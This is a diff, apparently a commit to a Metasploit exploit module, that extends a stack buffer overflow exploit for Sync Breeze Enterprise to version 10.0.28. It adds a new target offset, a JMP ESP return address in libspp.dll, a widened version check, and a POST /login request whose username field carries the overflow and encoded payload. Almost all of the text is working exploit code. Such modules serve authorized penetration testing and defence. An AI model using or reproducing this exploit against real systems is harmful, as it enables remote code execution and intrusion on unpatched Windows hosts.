@@ -15,15 +15,17 @@ def initialize(info = {})
15
15
'Name' => 'Sync Breeze Enterprise GET Buffer Overflow' ,
16
16
'Description' => %q{
17
17
This module exploits a stack-based buffer overflow vulnerability
18
- in the web interface of Sync Breeze Enterprise v9.4.28, caused by
19
- improper bounds checking of the request path in HTTP GET requests
18
+ in the web interface of Sync Breeze Enterprise v9.4.28 and v10.0.28 , caused by
19
+ improper bounds checking of the request in HTTP GET and POST requests
20
20
sent to the built-in web server. This module has been tested
21
21
successfully on Windows 7 SP1 x86.
22
22
} ,
23
23
'License' => MSF_LICENSE ,
24
24
'Author' =>
25
25
[
26
- 'Daniel Teixeira'
26
+ 'Daniel Teixeira' ,
27
+ 'Andrew Smith' , # MSF support for v10.0.28
28
+ 'Owais Mehtab' # Original v10.0.28 exploit
27
29
] ,
28
30
'DefaultOptions' =>
29
31
{
@@ -42,6 +44,12 @@ def initialize(info = {})
42
44
'Offset' => 2488 ,
43
45
'Ret' => 0x10015fde # POP # POP # RET [libspp.dll]
44
46
}
47
+ ] ,
48
+ [ 'Sync Breeze Enterprise v10.0.28' ,
49
+ {
50
+ 'Offset' => 780 ,
51
+ 'Ret' => 0x10090c83 # JMP ESP [libspp.dll]
52
+ }
45
53
]
46
54
] ,
47
55
'Privileged' => true ,
@@ -59,7 +67,7 @@ def check
59
67
version = res . body [ /Sync Breeze Enterprise v[^<]*/ ]
60
68
if version
61
69
vprint_status ( "Version detected: #{ version } " )
62
- if version =~ /9\. 4\. 28/
70
+ if version =~ /9\. 4\. 28/ or version =~ /10 \. 0 \. 28/
63
71
return Exploit ::CheckCode ::Appears
64
72
end
65
73
return Exploit ::CheckCode ::Detected
@@ -74,29 +82,52 @@ def check
74
82
75
83
def exploit
76
84
77
- eggoptions = {
78
- checksum : true ,
79
- eggtag : rand_text_alpha ( 4 , payload_badchars )
80
- }
85
+ case target . name
81
86
82
- hunter , egg = generate_egghunter (
83
- payload . encoded ,
84
- payload_badchars ,
85
- eggoptions
86
- )
87
+ when 'Sync Breeze Enterprise v9.4.28'
88
+ eggoptions = {
89
+ checksum : true ,
90
+ eggtag : rand_text_alpha ( 4 , payload_badchars )
91
+ }
87
92
88
- sploit = rand_text_alpha ( target [ 'Offset' ] )
89
- sploit << generate_seh_record ( target . ret )
90
- sploit << hunter
91
- sploit << make_nops ( 10 )
92
- sploit << egg
93
- sploit << rand_text_alpha ( 5500 )
93
+ hunter , egg = generate_egghunter (
94
+ payload . encoded ,
95
+ payload_badchars ,
96
+ eggoptions
97
+ )
94
98
95
- print_status ( 'Sending request...' )
99
+ sploit = rand_text_alpha ( target [ 'Offset' ] )
100
+ sploit << generate_seh_record ( target . ret )
101
+ sploit << hunter
102
+ sploit << make_nops ( 10 )
103
+ sploit << egg
104
+ sploit << rand_text_alpha ( 5500 )
96
105
97
- send_request_cgi (
98
- 'method' => 'GET' ,
99
- 'uri' => sploit
100
- )
106
+ print_status ( 'Sending request...' )
107
+
108
+ send_request_cgi (
109
+ 'method' => 'GET' ,
110
+ 'uri' => sploit
111
+ )
112
+
113
+ when 'Sync Breeze Enterprise v10.0.28'
114
+ uri = "/login"
115
+ sploit = rand_text_alpha ( target [ 'Offset' ] )
116
+ sploit << [ target . ret ] . pack ( 'V' )
117
+ sploit << rand_text ( 4 )
118
+ make_nops ( 10 )
119
+ sploit << payload . encoded
120
+
121
+ print_status ( 'Sending request...' )
122
+
123
+ send_request_cgi (
124
+ 'method' => 'POST' ,
125
+ 'uri' => uri ,
126
+ 'vars_post' => {
127
+ 'username' => "#{ sploit } " ,
128
+ 'password' => "rawr"
129
+ }
130
+ )
131
+ end
101
132
end
102
133
end
0 commit comments